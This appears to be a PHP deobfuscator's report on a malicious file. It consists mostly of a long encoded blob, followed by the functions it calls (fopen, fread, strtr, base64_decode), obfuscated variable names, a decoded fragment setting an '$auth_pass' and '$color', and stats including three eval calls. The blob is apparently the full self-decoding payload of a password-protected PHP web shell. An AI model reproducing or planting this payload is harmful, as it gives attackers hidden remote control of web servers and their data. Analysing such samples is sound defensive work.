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

Function Calls

fopen 1
fread 3
strtr 2
fclose 1
urldecode 1
str_replace 1
base64_decode 3

Variables

$O000O0O00 True
$O0O000O00 fgets
$O0O000O0O fgetc
$O0O00OO00 fread
$OO00O0000 121356
$OO00O00O0 $auth_pass = "08fde1d5f5829cfb3a5749b7b3c8edf9"; $color = "#..
$OOO000000 fg6sbehpra4co_tnd
$OOO00000O strtr
$OOO0000O0 base64_decode
$OOO000O00 fopen
$OOO0O0O00 index.php

Stats

MD5 803a6cbe90bac5e2249f1a07b5d453fa
Eval Count 3
Decode Time 158 ms